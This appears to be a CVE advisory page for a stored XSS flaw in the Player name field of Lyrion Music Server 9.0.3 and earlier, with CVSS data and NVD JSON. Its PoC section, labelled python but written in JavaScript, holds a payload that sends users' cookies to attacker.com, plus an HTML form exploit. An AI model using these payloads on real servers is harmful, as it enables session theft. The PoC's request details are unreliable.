CVE-2025-65229

Description

A stored cross-site scripting (XSS) vulnerability exists in the web interface of Lyrion Music Server <= 9.0.3. An authenticated user with access to Settings Player can save arbitrary HTML/JavaScript in the Player name field. That value is stored by the server and later rendered without proper output encoding on the Information (Player Info) tab, causing the script to execute in the context of any user viewing that page.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:lyrion:lyrion_music_server:*:*:*:*:*:*:*:* - VULNERABLE

Lyrion Music Server <= 9.0.3

Logitech Media Server <= 9.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-65229 PoC - Stored XSS in Lyrion Music Server
// Target: Lyrion Music Server <= 9.0.3
// Attack Vector: Inject JavaScript via Player Name field

// Step 1: Login to Lyrion Music Server web interface
const loginEndpoint = 'http://target:9000/jsonrpc.js';
const loginPayload = {
    "id": 1,
    "method": "slim.request",
    "params": ["-1", ["login", "username", "password"]]
};

// Step 2: Inject XSS payload into Player Name field
const xssPayload = '<script>fetch("https://attacker.com/log?c="+btoa(document.cookie))</script>';
const setPlayerNameEndpoint = 'http://target:9000/jsonrpc.js';
const setPlayerNamePayload = {
    "id": 2,
    "method": "slim.request",
    "params": ["-1", ["playerpref", "playerName", xssPayload]]
};

// Step 3: Victim visits Information (Player Info) tab
// The XSS payload will be rendered without proper encoding
// causing the script to execute in the victim's browser context

// Simple HTML PoC for manual testing:
const htmlPoc = `
<html>
<body>
<h1>Lyrion Music Server Stored XSS PoC</h1>
<form action="http://target:9000/settings/index.html" method="POST">
    <input type="hidden" name="playerName" value='<script>alert("XSS")</script>'>
    <input type="submit" value="Exploit">
</form>
</body>
</html>
`;

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65229
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65229
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65229/
[4] VulDB https://vuldb.com/cve/CVE-2025-65229
[5] https://github.com/iyadalkhatib98/My_CVES/tree/main/CVE-2025-65229
[6] https://lyrion.org/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-65229", "sourceIdentifier": "[email protected]", "published": "2025-12-08T20:15:52.857", "lastModified": "2026-01-20T17:15:49.010", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in the web interface of Lyrion Music Server <= 9.0.3. An authenticated user with access to Settings Player can save arbitrary HTML/JavaScript in the Player name field. That value is stored by the server and later rendered without proper output encoding on the Information (Player Info) tab, causing the script to execute in the context of any user viewing that page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lyrion:lyrion_music_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.0.3", "matchCriteriaId": "E8A1EEF2-859C-4C9B-9DC1-CAB4930CE371"}]}]}], "references": [{"url": "https://github.com/iyadalkhatib98/My_CVES/tree/main/CVE-2025-65229", "source": "[email protected]"}, {"url": "https://lyrion.org/", "source": "[email protected]", "tags": ["Product"]}]}}